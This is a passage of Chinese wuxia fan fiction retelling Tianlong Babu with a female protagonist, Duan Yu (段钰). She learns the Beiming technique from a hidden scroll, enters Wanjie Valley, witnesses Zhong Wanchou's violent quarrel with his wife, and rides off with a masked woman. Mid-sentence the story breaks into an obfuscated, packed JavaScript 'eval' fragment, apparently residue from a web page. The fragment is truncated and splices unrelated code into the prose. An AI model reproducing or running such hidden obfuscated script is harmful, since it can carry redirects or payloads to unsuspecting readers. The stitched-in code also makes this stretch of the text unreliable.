那‘逍遥子’定是个男人,不必多说,‘秋水妹’一听便是女子。段钰心想那玉像难道就是这位秋水姑娘的真容,世上真有这般美丽的女子? 又见石壁上另有几行字:“藐姑射之山,有神人居焉,肌肤若冰雪,绰约若处子,不食五谷,吸风饮露。” 她默默念了几遍,忽地了悟,玉像或许并非是活人,也不是那秋水姑娘,而是这神话中的姑射仙人。她转目看见玉像前放着两个蒲团,隐约印证了心中所想。那蒲团一大一小,小的想来是让人跪拜时磕头用的。 段钰又想到钟灵,不知她现在过的怎么样。落在神农帮手中,司空玄是否也逼她服下了断肠散?一时间心绪焦灼烦杂,想起自己时日无多,走到玉像下,合掌低声道:“神仙姐姐,请你保佑我此行顺遂无虞,保佑钟灵能平安无事……等我救出钟灵,回到家里,一定再不和爹爹拌嘴了。” 说完拜倒在地,又在心中复述了一遍。起身时突然见到玉像双脚鞋子内侧似乎有字迹,凝目一看,右足鞋上绣的是“磕首千遍,供我驱策”,左足鞋上绣的是“遵行我命,百死无悔”。 她连日奔走,又惊又吓,一起身便觉头晕目眩,向前重重扑去,头磕在那小蒲团上,竟不觉得有多痛,立刻察觉到蒲团里垫了什么东西。 段钰把蒲团拿起来抖了抖,听见里头声响窸窣,不像是稻草,好奇地将蒲团在地上来回磨了一会,磨断笋壳,取出一个绸包。她打开绸包,白绸上写着几行字: “汝既磕首千遍,自当供我驱策,终身无悔。此卷为我逍遥派武功精要,每日卯午酉三时,务须用心修习一次,若稍有懈惰,余将蹙眉痛心矣。神功既成,可至琅嬛福地遍阅诸般曲籍,天下各门派武功家数尽集于斯,亦即尽为汝用。勉之勉之。学成下山,为余杀尽逍遥派弟子,有一遗漏,余于天上地下耿耿长恨也。” 她一看那磕首千遍,只觉得有些心虚,原来这蒲团中所藏之物是为诚心的信徒所备下的,自己却因一时好奇而打开来。正要将绸包塞回蒲团,但往下看却是一怔,武功精要等字迹映入眼中,歪打正着,居然切中了她的心病。 这一路上,段钰不止一次想过,要是爹爹早些松口教会自己武功,说不定那日就不会拖累钟灵,自己也有余力自保。倘若连自己都救不了,又怎能去救助他人呢? 哪怕学些拳脚功夫也好,总比坐以待毙来得强,至于逍遥派是甚么,又为何要杀尽逍遥派弟子,她是一概不知,也不明其意。 段钰打开绸包,里头是一卷帛卷,展将开来,第一行写着“北冥神功”,她有过目不忘之能,是以一目十行扫过,仓促间便记在心中。再展帛卷,她咦了一声,见帛卷上画着一个横卧的裸女画像,面容与玉像无异,心想这又是甚么武功,还要人脱光了衣服躺着去练么? 画中裸女眉眼含笑,娇媚无比,自有一股天生天然的魅惑之意。段钰隐隐有些抵触,不禁抬头看了玉像一眼,心道:“还是穿上衣裳的模样更好看些。”复又低头细看,裸女身躯上一条绿线起自左肩,横至颈下,斜行至右乳,通至腋下,延至右臂,经手腕至右手大拇指而止。另一条绿线却是至颈口向下延伸,经肚腹不住向下,至离肚脐数分处而止。* 她将帛卷铺在地上展开,见手臂上那条绿线,线旁以细字注满了“云门”、“中府”、“天府”、“侠白”、“尺泽”、“孔最”、“列缺”、“经渠”、“大渊”、“鱼际”等字样,至拇指的“少商”而止。*她平常听父母谈论武功,留心记过,知道这些都是人身的穴道名称。 再向下看去,见下面的字是:“北冥神功系引世人之内力而为我有。北冥大水,非由自生。语云:百川汇海,大海之水以容百川而得。汪洋巨浸,端在积聚。此‘手太阴肺经’为北冥神功之第一课。”下面写的是这门功夫的详细练法。最后写道:“世人练功,皆自云门而至少商,我逍遥派则反其道而行之,自少商而至云门,拇指与人相接,彼之内力即入我身,贮于云门等诸穴。然敌之内力若胜于我,则海水倒灌而入江河,凶险莫甚,慎之,慎之。本派旁支,未窥要道,惟能消敌内力,不能引而为我用,犹日取千金而复弃之于地,暴殄珍物,殊可哂也。”* 她并未细想,展卷看去,长卷上皆是裸女画像,姿势不一,神情各异,一共有三十六幅画像,如第一幅那样,都注明了穴道部位及练功法诀。而在帛卷最后则有“凌波微步”四字,其后绘着无数足印,注明“无妄”、“归妹”。足印密密麻麻,均有绿线标记,绘出箭头方向,显然是一套繁复的步法。段钰不明何意,当即强记于心,想着日后回家向伯伯请教一二。 最后一行字写道:“猝遇强敌,以此保身,更积内力,再取敌命。”* 至此帛卷阅尽,段钰闭目思索一番,又将心中所记与帛卷一一对应,确认无缺漏后,方才将帛卷重新卷起,用绸布包上,塞回了蒲团之中,让此物留在此处,静待那诚心磕首千遍的有缘之人。 她又朝玉像跪拜叩首三次,这才起身离去,见左侧有个月洞门,还以为是出口,走近一看,发现又是一间石室,壁上悬了一张七弦琴,琴弦已断。床前有张木摇篮,床左有张石几,石几上摆着一局棋,并未下完,仿佛此间主人只是暂时离去,很快就会回来。 这定是那对侠侣日常起居之处,主人虽已不在,段钰仍觉不妥,匆匆扫了一眼走到床尾月洞门前,门旁壁上凿着四字:“琅嬛福地”。她对这藏有天下各派武学典籍的地方格外好奇,从石几上取下烛台照明,进到月洞门内,见又是一个石洞,比之外室大了数倍,摆着一排排书架,但架上却空无一物。她走近去看,书架上贴满了签条,尽是“昆仑派”、“少林派”、“四川青城派”、“山东蓬莱派”等等名称,其中赫然也有“大理段氏”的签条。但在“少林派”的签条下注“缺易筋经”,在“丐帮”的签条下注“缺降龙十八掌”。* 段钰握着烛台的手剧烈一颤,烛油从手背滑落。一条“大理段氏”的签条出现在眼前,她几乎难以置信,待看清那下注“缺一阳指法、六脉神剑剑法,憾甚”的字样,方才松了口气。 一阳指与六脉神剑皆为段氏不传之秘,她曾听伯伯与爹爹说起过,至于这功法如何,却是从未见过的。 没想到帛卷上所说的琅嬛福地集尽天下武学原来是真的,不知那易筋经与降龙十八掌又是甚么高深莫测的武功。 她修习武艺不过是为求自保而已,这些武功典籍再好,也只是看一看增长见识罢了。没想到架上书册已经被人搬走,这藏书之处也无别的门洞,她也不再停留,转身离开,想回到那玉像附近重找出口,却见室旁一条石阶斜引向上,说不定就是离开的出口,毫不犹豫跨上石阶朝上走去,走到一百多阶时已转了个三个弯,这时听见水声,猜想这出口莫非藏在一条瀑布之后?又行二百余阶,水声震耳欲聋,光亮透入,她一时情急,加快脚步走到尽头,到那台阶上向外望去。这一望被吓了一跳,原来她此时在一处高崖边,下方是一条大江,水势湍急,声震如雷,可见江面波涛滚滚,白浪飞溅,声势浩大。 这四周无路,段钰只得从峭壁间慢慢爬向江岸,如此一来又费了好一番功夫,待爬上岸边时已是气喘吁吁,狼狈不堪。她不敢停留,待走出江岸后,又行了十余里,终于见到一条小径。沿小径行去,入夜之后才到了过江的铁索桥前。那桥边石上刻着善人渡三个大字,正与钟灵指点的一致。 夜中江风骤盛,铁索晃动得厉害,段钰踏上桥板,行至江心,耳畔风声凄厉,唯有紧紧抓着铁索方能稳住身形。夜色中但闻水声滔滔,如快马奔腾,虽然看不见,却能想象出那水势是何等汹涌。 若是在白日,她一人只怕是难以渡江,好在深夜漆黑一片,除了风声水声之外,眼前甚么也看不见,反倒顺顺当当走过了铁索桥。过桥后四野寂寥,她望着茫茫夜色,不敢贸然前行,在桥边等到天亮方才上路。 她很快寻找了钟灵说过的路径,走了大半个时辰以后便来到一座黑压压的大森林。依钟灵所言,此地名为“万劫谷”。段钰走近前去,果真见着了九株大松树,自右数到第四株,她绕至树后,拨开长草,树上出现了一洞,正与钟灵交代的一一对上,这便是万劫谷的入口了。 段钰钻进树洞,在枯草中找到一个大铁环。那铁环与木板相连,提起之后木板掀开,赫然有一道石阶向下延伸。她走下石阶将木板托举放回原处,沿着石阶向下,一路畅通无阻,最后出了洞口,来到一处平地。 洞外便是一大片草地,远处又是一片树林,种的还是松树。她走到那些松树前,见其中一株大松上被削下一片树皮,漆了白漆,写着九个大字:“姓段者入此谷杀无赦”。八字漆黑,唯有“杀”字却是殷红色。 想来这谷中主人有个姓段的对头,两人之间的过节必然不小,否则谷主也不会迁怒天下姓段的人了。段钰想起钟灵嘱咐,万不可当着她爹爹的面说自己姓段,一时有些苦恼,转念一想,不如随母姓,谎称自己姓刀便是。 那树上悬着一枚小铁锤,段钰取下铁锤,向着那“段”字上敲去。连敲三下之后,又过了一会,松树后传来一个少女声音,欣喜道:“小姐回来了!” 一个丫鬟打扮的少女从树后转了出来,见着段钰吃了一惊,道:“你是何人,我家小姐呢?” 段钰忙道:“我受钟姐姐所托,前来拜见谷主。” 那少女将她从头到脚打量了一番,神色迟疑。段钰这才想起自己一路跋涉,此时已是衣衫褴褛,形容狼狈,不禁涨红了脸,挽起袖子道:“我没有骗人,这是钟灵给我的信物。” 少女啊了一声,道:“是小姐的镯子!姑娘稍等,我这就去禀报夫人。” 段钰闻言放下心来,看着自己脏扑扑的衣袍,不由得有些垂头丧气。那少女很快回来,道:“姑娘请随我来。” 段钰跟在她身后穿过一座树林,沿着林中小径向左首走去,来到一间瓦屋前。她推门请段钰先行,段钰走进门,见是一间小厅,东西二壁各挂着四幅屏条,分别是梅兰竹菊与春夏秋冬八幅屏画,不过次序却都乱了。她心中觉得奇怪,想起这是在别人家中,不可妄言,是以什么也没问。 丫鬟奉上茶点便悄然离去,段钰腹中空空,刚吃了半块点心填肚子,内堂后传来脚步声。一个身穿淡绿绸衫的妇人走了出来,她约莫三十六七岁年纪,容貌与钟灵七八分相似,却不像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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段钰见她生得温柔可亲,一时忘了钟灵的嘱咐,笑道:“回伯母的话,我姓段,单名一个钰字……”话还未说完,门外传来一声暴喝:“姓段的都该死!” 段钰还未反应过来,双脚离地,已被人拎着衣领提了起来。 那人怒道:“姓段的没一个好东西!敢入谷都是自寻死路,就别怪我不客气了!” 段钰给那提在半空中,看不清他的相貌,给他用力甩了几下,一阵头晕目眩,连话也说不出来。 钟夫人急道:“钟万仇,你这是要做甚么?这姑娘是为灵儿之事给咱们报讯来的,还不快放下她!” 钟万仇这才看清手中人不过是个小姑娘,将信将疑道:“可我方才听见她说她姓段……” 钟夫人道:“姓段又怎么了?要是路边有窝蚂蚁也姓段,你是不是也要追着它们到天涯海角?”说着已带了几分气恼之意,道:“咱们在这谷里住了十多年了,这些年里,我可从未离开此地半步,你还有甚么不放心的?我不提此事,你却偏要抓着不放。我问你,你为何执意要去请那‘四大恶人’来,闹的天翻地覆不提,想杀人就杀人。进喜儿忠心耿耿,服侍了咱们这么多年,也被他随手杀了,现在好了,连女儿都被你气走了。你嘴上说是为了我好,我可半点也看不出来好在甚么地方。” 钟万仇忙把段钰放下,见钟夫人转过身子不理自己,又提着段钰轻轻放在椅子上,陪笑道:“都是我的错,夫人千万别生气。” 钟夫人哽咽道:“你总惦记着这件事,这日子过着也没滋没味的。现在好了,女儿也走了,你要是不想过了,索性我也走,去外头寻女儿,像我师姐那样再找个僻静的地方……” 钟万仇叫道:“是我的错,我该死!好阿宝,你不能走!” 段钰呆坐了一会儿才回过神,看着眼前身形高大削瘦的黑衣男子,方明白过来,这就是钟灵的爹爹了。 他生得好长一张马脸,眼睛也如马儿一般圆溜溜的,生得甚高,嘴巴与鼻子挤在一起,整张脸丑得别出心载,猛然一看还有些骇人,与钟灵是半点也不相像。 钟夫人忿忿道:“你一心要报仇,何必管我是走是留?我走了不是更好,你就带着那‘四大恶人’上门去寻仇罢!今日杀姓段的,明日杀姓刘的、姓王的、姓赵的,就算把天下人都杀个精光,又与我有何干系?” 言毕回进卧室,取了一柄长剑在手,整装后回到厅中。钟万仇见了大惊失色,道:“阿宝,你……你……你要走了?” 钟夫人不去看他,对段钰柔声道:“段姑娘,咱们走罢。” 段钰犹豫地点了点头,却见钟万仇双目赤红,大叫道:“阿宝,你不要走!姓段的骗了你一次,你可不能上第二回当!”说完如恶虎出笼,朝着段钰扑去。 钟夫人情急之下道:“灵儿叫神农帮的人扣留住了,段姑娘是为了救她才冒然入谷。你以为我要去做甚么,我是去救咱们的女儿!” 钟万仇惊怒中哪里听得进这番话,举起一双小扇子般的大手扑向段钰,几下就把桌椅打得粉碎。钟夫人一手提起段钰,轻飘飘向门外掠去,手中运劲,将段钰推出门外,喝道:“快走!” 钟万仇口中嚷嚷道:“阿宝你不能走,你不能走!” 钟夫人抽出长剑向他刺去,本想以此阻他一二,不曾想钟万仇竟不躲不避,反而挺胸迎剑。 那一剑正中钟万仇胸口,钟夫人怒道:“你怎么不躲?”一看剑锋深入数寸,慌忙之下拔出长剑,双手按住伤处,但见血如泉涌,从手指缝中喷了出来。 钟万仇面色灰败,喃喃道:“你要离我而去,我还不如死了的好。” 钟夫人待他气息和缓,出血暂少,强行扶着他半坐起来,道:“你总是这个脾气,急起来甚么也听不进去。我不是说了吗,神农帮擒住了灵儿,多亏这位段姑娘过来报讯,她不会武功,我随她去为了救女儿。” 钟万仇啊了一声,面现喜色,道:“你不是要走?太好了,阿宝,我……你……你不走就好。” 他的大手紧紧抓着段夫人的手臂,生怕她就此离去。钟夫人无奈,只得朝段钰道:“段姑娘,可否劳烦你进屋一趟,到右厢房的第三个柜里取一个木箱给我?” 段钰进屋找到箱子送到段夫人身边,段夫人打开木箱,里头放着几个药瓶,还有布条一类之物。她取出一瓶药在钟万仇剑创处洒上药粉,又捡出一卷布条,想为他包扎伤口。段钰见她一手扶着丈夫,行动甚是不便,当即道:“伯母,我来帮你。”展开布条从钟万仇腋下穿过,一层层包裹了起来。 钟万仇仍是血流不止,段钰手上难免沾染。钟夫人见她面无异色,反倒极为认真地为丈夫包扎伤势,微微一叹,道:“段姑娘,多谢你了。” 钟万仇闻言挣扎起来,叫道:“不……阿宝,别让这姓段的碰我,我不要看到她,让她滚开!” 他虽负伤,手上力气仍大的惊人。段钰被他猛地推开,摔倒在地,心想这位钟伯伯脾气当真大的要命,钟灵急躁的性子想来也是由此而来。 她听母亲说过,人在苦痛愤懑之时,往往言行皆非己意,是以并不觉得有多生气。 钟夫人连忙按住他,喝道:“段姑娘是一片好心,你这是要恩将仇报吗?” 钟万仇竟如魔怔了般,撕心裂肺道:“姓段的与我有甚么恩,我不要她救我!” 他这么一挣,上了药的伤口又裂了开来,顷刻间鲜血便浸透了布条。钟夫人见状垂泪道:“你都这副模样了,还惦记着那些事不放。你这疑心的老毛病改不掉,既不肯信我,我不如先死在你面前!” 说着拾起长剑,往颈中刎去。 段钰没想到这夫妻二人皆性烈如火,忙道:“伯母千万别做傻事,钟姐姐还等着你们去救她呢!” 钟夫人顿时一愣,立刻被钟万仇夺过剑去,转而怒视他。钟万仇结结巴巴道:“是我的不是……阿宝,你不要走。” 钟夫人气笑了,道:“我要是想走早就走了,何苦在这谷中陪你住了十来年?”又摇了摇头道:“你的心意我岂能不知,你待我的好,我都一清二楚。可你总是这般……这般行事,让我如何能放得下心来?” 钟万仇心中喜悦,全然忘了受伤之事,揽住她的腰嘶声道:“原来、原来你都知道……阿宝,好阿宝,是我的错,以后我甚么事都听你的,让你对我……对我放得下心。就算是让我去死,我也心甘情愿。” 钟夫人双颊生晕,低声道:“说的是甚么话?” 她抬头对段钰一笑,道:“段姑娘,这次当真多谢你了。” 段钰道:“伯母言重了。我爹爹常说,出门在外,帮人就是帮己。” 钟夫人凝神看了她片刻,道:“听姑娘口音,像是大理人氏,敢问令尊名讳。” 段钰对她有几分亲近之意,是以不作隐瞒,道:“我爹爹的名讳上正下淳。” 钟夫人还未开口,钟万仇已经大叫起来:“段正淳!你这狗贼,混帐王八蛋,我定要取你性命!” 这一声真如雷震,屋瓦都为之一颤,段钰登时惊呆了。钟万仇混身发抖,死死盯着段钰道:“好哇,你是那狗贼的女儿,好哇……” 钟夫人见他又要发疯,果断以手刀将他劈晕。段钰惊疑不定,道:“原来和钟伯伯有仇的姓段之人,就是我爹爹吗?可我从未听他提过此事……” 钟夫人端详着她的面容,仿佛在看另一个人,轻轻一叹道:“段姑娘,你靠近些,我有话想要问你。” 段钰见钟万仇已经晕了过去,这才小心翼翼凑近。钟夫人眼中似有水光,双目泛红,低声道:“令尊这些年来身子安好?一切可都顺遂?” “家严身子安健,托赖诸事平安。”段钰顿了一顿,忍不住问:“伯母也认识我爹爹?” 钟夫人凄然一笑,道:“自然认识……如何能不认识呢。” 她说完低下头去,怔愣不语。段钰心中牵挂着钟灵,道:“伯母,钟姐姐还在神农帮等着咱们去救她,我们这就……” 钟夫人摇了摇头道:“我是去不成的了。且不说外子重伤在身,需人照料。他请来的那些个朋友都是古怪之辈,倘若礼数稍有不周,便会招致祸端。事到如今,还要麻烦姑娘再走一趟。” 段钰一呆:“我?可我不会武功……” 钟夫人气息微促,从怀中摸出一物,郑重道:“不,段姑娘,我想劳烦你回大理一趟去见你爹爹,请他出手救出我们的女儿。” 段钰心道奇怪,钟伯母怎么像知道我爹爹身份似的?忽然想到他们本就认识,知道也不奇怪。她是从家中偷跑出来的,原本不准备回去了,思索片刻下定决心道:“好,我这就去求他出手救钟姐姐。” 钟夫人却说:“劳烦你务必将此物交给他,请他救我们的女儿。”说完语声微颤,连身子也颤抖起来。 段钰心觉奇怪,钟夫人眼眶通红,又重复了一遍:“别忘了对他说,请他救我们的女儿。你只需将这句话原封不动的告诉他,他自然会明白的。” 段钰接过钟夫人给她的东西,看也不看塞进怀里,道:“伯母说的话我一定会转告爹爹的,东西我也会亲手交给他。” 钟夫人闻言如释重负,见段钰一脸犹豫,不由问:“怎么?” 段钰苦恼道:“从这里走到大理,是不是很远呀?” 钟夫人破涕为笑,道:“你放心,不会让你再走着去的,你孤身一人上路多有不便,我请人护送你去。她有一匹好马,能日行千里,一日之内便可往返。” 4. 第 4 章 天已入夜,段钰辞别钟夫人,跟着领路的丫鬟在山中小路行了六七里,最后来到一所大屋前。丫鬟上前叩门,先是轻敲两下,稍作停顿,再敲了四下,接着又敲了三下。 不过多时门开了一道缝,丫鬟将灯笼挂在门外,与那应门之人耳语片刻,一名垂鬟小婢抬头看了眼段钰,微一颔首,便站在门外等候。 丫鬟说道:“这里的小姐是我家姑娘的朋友,眼下她还未回来,请段姑娘稍稍等一会儿。” 段钰点点头,看这屋子如同寻常人家,不禁有些好奇,也不知丫鬟口中的小姐是何人。她既能与钟灵做朋友,会不会性子也与钟灵有几分相似? 望着夜空中稀疏的星子,她心中却是一片迷茫。离家已有一月余,也不知道爹爹妈妈发现自己不见以后,还会不会再吵个不休,说不定有了自己这番离家出走,他们已经和好如初了,那也算是歪打正着。可这也不是长久之计,难道他们每一吵架,自己又要离家出走么?这次回去,只怕要被爹爹严加看管了,再想偷偷溜走也难了。思及这一路所见所闻,是往日做梦都不曾经历过的。想到又要回大理去,不免闷闷不乐。 这般胡思乱想着,忽然听见夜色中响起一阵嘶鸣之声,只听得马蹄得得,却不见马的影子。稍一晃神突然劲风迎面,一个巨大的黑影从天而降朝段钰猛冲而来,待到面前之时,段钰才看清那是一匹黑马,这时再躲业已太迟,眼看那马儿前蹄高高扬起,下一刻就要踩在身上,慌忙闭上眼睛,岂料马儿陡然止住前冲之势。那驭马之人骑术极佳,一声唿哨,黑马退后几步便安静下来。 段钰惊魂未定,不觉按住胸口,待心悸散去后,她才抬头打量起那马儿来。这马通体漆黑,身形瘦削,四腿修长,行走时动静极轻,一对马眼在夜色中闪闪发光,显然是一匹神驹。而马背上的人竟也是一身漆黑装束,黑发编成一股从胸前垂下,脸上蒙着黑纱,看不清容貌,但观其形容,便知是个女子。 她个头高挑,坐在马背上显得格外居高临下,给人一种倨傲之感。她并未下马,目光冰冷冷地打量了段钰片刻,道:“出了甚么事?” 门外等候的小婢立刻上前行礼,三言两语将事情交代了,黑衣女子道:“钟灵又惹上了甚么麻烦?她平日不好好学武功,一遇到事就回来向爹妈搬救兵?” 段钰忍不住道:“这麻烦不是她招惹的,是……” 黑衣女子冷冷道:“我问你话了吗?”又指向陪段钰来的丫鬟,道:“这是师叔的意思?” 那丫鬟道:“我家夫人是这么说的,她与谷主有事暂且不得离谷,劳烦小姐护送这位段姑娘回大理,好从神农帮手中救出我家小姐。” 段钰发现她手上也戴着黑色手套,浑身上下除了眼睛之外,半点不露肌肤,当真十分古怪。黑衣女子道:“正好我也要去一趟大理。喂,你上来吧。” 段钰仿若未闻,黑衣女子已有几分不快,道:“你是个聋子吗,话也听不见?” 段钰微笑道:“这里谁的名字叫‘喂’,你让她回应你便是。” 说完只觉得脸颊一痛,黑衣女子俯身捏住她的脸道:“那你今日便改名换姓了,往后就叫作‘喂’,如何?” 段钰没想到她竟能这般无礼,挣开她的手道:“改别人的名字算甚么本事,有本事改你自己的名字。” 黑衣女子道:“师叔让我送人去大理,我答不答应还要另说。我叫一声‘喂’,你如果不肯应答,我只当做此人不在,去大理之事自然作罢。” 段钰一惊:“你不送我回大理,谁去救钟姐姐?” 黑衣女子漫不经心道:“让钟灵长长教训也好,别总仗着那点三脚猫的功夫就以为能横行江湖了。” 段钰听她言语流露出不屑之意,仿佛真不去管钟灵死活了,又惊又怒,道:“你不愿去,我自己去。” 她从墙上取下灯笼,转身朝着来路走去,还未走出十步,那黑衣女子就驱马阻拦在了她面前,冷冷道:“我让你走了吗?” 段钰心中气恼,觉得此人简直不讲道理,与钟万仇相比也不遑多让,当下不去理会她,从侧边绕开黑马继续向回走。 但听嗤的一声响,一支黑箭已经落在段钰脚边,深深插进土中,身后清泠泠的声音传来:“再不止步,下一箭便射你的脑袋。” 段钰回头,道:“你不去救人,也不许我去,这是什么道理?” 黑衣女子嘲弄道:“你去救人?当真会说大话。我看你连半点武功都不会,是去救钟灵,还是钟灵救你?她一人或许还能全身而退,多了你这么个累赘,难道是要一起送死吗?” 段钰气极反笑,倒镇定下来,道:“那又如何?我虽然不会武功,也知道不能见死不救。现在能救人的不去救人,却来怪我,你倒是告诉我,这又是甚么缘故?” 黑衣女子冷哼一声,道:“你也没甚么本事,靠嘴上功夫就想救回人么?” 段钰道:“嘴上功夫也是功夫,总好过有人身负武功,却无侠义之心来的强。” 黑衣女子仿佛被激怒了,剑指指向段钰,厉声道:“很好,很好。要我去救钟灵可以,一命换一命,你肯么?你说自己有侠义之心,不会舍不得这条小命罢!” 段钰匪夷所思道:“你要杀我?” 黑衣女子道:“怎么,怕了?” 段钰身中断肠散,本是有一日活一日,早已将性命置之度外,只是心中不免有些难过。闻言淡淡道:“人之将死,如何会不怕?你要杀就杀吧,我不会武功,也无还手之力,你只需记得你说过的话,用我一命换钟姐姐一命。我死后,你必须去无量山救她。” 黑衣女子骑着马走到段钰身旁,道:“别是装模作样罢?”手中忽地剑光一闪,直向段钰刺去。 段钰只觉颈边一寒,下一瞬眼前天旋地转,一阵幽香从身后传来。黑衣女子道:“我这人有个癖好,有人一心求死,我就偏要让他活着!” 黑马立刻放开四蹄,纵跃之间,几个起落便已来到了树林中。这马儿奔行如飞,即便是在道路崎岖的山野间,依然如履平地,人在马背上也坐的十分稳当,鲜少有颠簸起伏。 夜风习习,草木清香扑面而来,夹杂着幽幽兰香,段钰顿时清醒了几分,发现自己正被黑衣女子圈在怀中,惊道:“你要带我去何处?” 黑衣女子喝道:“别乱动。”又道:“你不是连死也不怕,管我带你去哪里。” 黑马飞快冲出树林,在月下如腾云驾雾一般飞驰向前。段钰仰头一看,发现这方向正是去往大理的路,欣喜道:“啊,你改变主意了,要去救钟姐姐了吗?” 黑衣女子低头一瞥,问道:“你与钟灵是什么干系?” 段钰想了想道:“朋友。” 黑衣女子道:“我看不见得吧,她的镯子都在你手上。” 段钰微怔:“这镯子怎么了?” 黑衣女子道:“她说过几回了,这镯子要送给她的意中人。” 段钰面红耳赤,想把那镯子从手上脱下来,向后一靠便感觉后背一阵温暖,幽香随之而来。 她有些慌乱,想向前挪一挪,离这人远一些。没想到黑衣女子却拉着她的手臂按向怀中,喝斥道:“说了别乱动,你想摔下去我不拦你。” 虽这般说着,她仍是紧紧抱着段钰。 段钰登时不敢再有动作了,她稍一抬头便能看见黑衣女子的侧脸,察觉出她是好意,低声道:“多谢。” 黑衣女子若有所思道:“原来你是钟灵的意中人,怪不得为她要死要活的。” 段钰大窘,道:“甚么意中人,我根本不知道。”鼻端的芬芳馥郁之气更是深浓,每当马儿向前跃进时,她便身不由己向后靠去,仿佛是依偎在黑衣女子怀中,让她觉得很不自在。 黑衣女子道:“哦,不是?你和钟灵认识多久了?” 段钰便把二人结识的经过简述一遍,黑衣女子道:“你们认识没几日,钟灵竟肯把镯子送给你。” 段钰忍不住辩解道:“她说这是……这是入谷的信物。” 黑衣女子道:“我看是定情信物吧。” 段钰气恼不已,道:“等我再见到她,一定把这镯子还给她。我去救她是因为她也救了我一命……” 黑衣女子哼了一声,打断她的话道:“我看也不见得,你对她倒是很有情意。” 段钰一时哑口无言,闷闷地不说话。黑衣女子道:“你不是很能说会道么,怎么这时候装起哑巴了?我问你,我师叔她为何不自己去救钟灵,反而让你一个不会武功的人去救?” 段钰不想说钟夫人夫妻之间的私事,答道:“我虽不会武功,但也有救人的法子。” 谁知黑衣女子低下头,气息扑在段钰耳上,嘲讽道:“你说说看,你有甚么救人的法子?” 段钰全身被那幽香团团裹住,脸上又红了几分,也不知是气得还是恼得。庆幸是在黑夜里,看也看不清,含糊道:“我……我去求我爹爹。” “你爹爹?”黑衣女子突然笑了起来,道:“你爹爹有甚么本事?你连武功也不会,料想他也强不到哪里去。” 段钰本想说我爹爹的一阳指很厉害,话到嘴边又咽了回去,道:“总之我去求他,他一定有办法救人的。” 黑衣女子道:“你爹爹的名气还能比得过我师叔与钟谷主么?” 段钰早就好奇钟夫人及其丈夫的身份,问:“钟夫人怎么?” 黑衣女子道:“钟谷主便是当年纵横江湖的‘马王神’钟万仇,我师叔外号‘俏夜叉’,这二人都曾威名远扬,别说你从来没听过。” 段钰道:“好罢,现在听说过了,也不算是太晚。”想了想又说:“钟夫人这般有名,她既然是你的师叔,那你师父是不是更有名?” 黑衣女子道:“我师父是‘幽谷客’,在江湖上没甚么名气,但真要论起来,她的武功比师叔高一些。” 突然从前头林中闪出两道人影,其中一人喝道:“贼贱人,站住!” 段钰吓了一跳,那二人一人持单刀,一人持花枪,正堵在路中间,眼看黑马就要踩了上去,他们竟也不躲,反倒大叫道:“都快来,这贼贱人在这儿!” 黑马一跃而起,后腿将其中一人踢飞出去,段钰还来不及喊出当心二字,马儿已如疾风般冲了过去。段钰想回头看上一眼,黑衣女子却捏着她的下巴转了回来,道:“这么喜欢看热闹,把你丢下马看个够好不好?” 段钰已领教了她这反复无常的性子,讶然道:“明明是你的马方才撞飞了一人,你这么这般不讲道理?” 黑衣女子冷冷一笑:“我需要和你讲甚么道理?自来没本事的人才满口的大道理。” 段钰摇了摇头,低声道:“你这人真奇怪,明明是好意,为何却要这么说话……” 黑衣女子道:“我有甚么好意,你少自作多情了。” 黑马在一片溪流前忽地停下脚步,段钰道:“怎么不走了?”黑衣女子低下头,贴着她的耳边道:“喂,你会不会骑马?” 段钰不自在地偏过头去,道:“会。” 黑衣女子道:“那好,这马就暂借给你,你自己回大理搬救兵吧,我此间还有事未了……” 最后一个字还未说完,她抬起手朝着密林深处嗤嗤连放数箭,只听惨叫从落箭之处接连传来,顷刻间火光照亮夜色。 一个苍老的声音道:“夫人有令,要生擒了这小贱人回去见她!” 又一个粗鲁的女声道:“大伙儿手下不必留情,夫人大度,只消把人带回去就是,缺了胳膊少了腿也无事!” 段钰听了这话愕然道:“这些人是来找你寻仇的?” 黑衣女子道:“不,他们是来找死的。” 林子里走出十数人,为首的是个阔脸老妪,面上满是皱纹,白眉下垂,一双小眼紧紧盯着马背上的二人。她身后另跟着一名老妪,身形肥胖高大,肚子凸出,满脸横肉,腰间左右各插两柄阔刃短刀,其余男女各执兵器,其中便有方才被黑马踢飞的两名壮汉在。 这些人瞧着凶神恶煞的模样,显见是来者不善。为首那老妪道:“怎么多了一人,这丫头莫非是小贱人的帮凶?”身后那名胖老妪恶狠狠道:“瑞婆婆,管她是甚么人,都抓了带回去听候夫人发落!” 段钰丝毫不惧他们,只觉得荒谬,笑道:“你们真是奇怪,连我是谁都不知道,也要一起抓回去么?” 黑衣女子冷笑道:“你何时见过疯狗咬人还能分得清谁是谁,不都是一样的见人就咬。” 瑞婆婆怒道:“小贱人嘴巴再硬有甚么用,你若是能束手就擒,乖乖跟我们回去见夫人,说不定还有一条活路。” 段钰道:“她如果真束手就擒了,这不是人为刀俎我为鱼肉,还能有活路吗,这话当真是可笑。” 瑞婆婆大声道:“咱们一起上,这回还怕捉不住这小贱人么!” 段钰听她言语甚是粗俗,道:“婆婆你年纪一大把,却满口污言秽语,这样很不好。何况你们以多欺少,就算赢了也是胜之不武。” 胖老妪目露凶光,喝道:“这小丫头定然与这小贱人是一伙的,别和她胡搅蛮缠了,抓住那小贱人之后再处置她!” 她虽放出话来,但四周却无人敢先抢攻。黑衣女子抬手指向他们,那些人便慌忙叫喊起来:“当心她的毒箭!”“散开,都散开!”纷纷退后,忙不迭各寻躲避之处。 黑衣女子趁此时机抓起佩剑,翻身下马,道:“黑玫瑰,快跑!” 黑马立刻向前奔去,段钰只听身后刀剑相击之声传来,黑马瞬息越过溪流,朝着山路奔去。段钰急声道:“回去回去!”那马儿也毫不理会,任段钰扯拉缰绳也依然不停。 如此急奔出七八里,段钰喊道:“黑玫瑰,停住……停住!”如此喊了好几声,黑马方才停下脚,段钰担心那黑衣女子遭人围困,无法脱身,立刻让马儿回头,催促道:“黑玫瑰,再跑快些,快!” 黑马又从来路返还,行至半道,忽地转向另一个方向奔去,段钰忙道:“不对不对,不是这条路!” 任她心急如焚,黑马也没有回头,穿过一大片树林,义无反顾朝着山脚奔去。 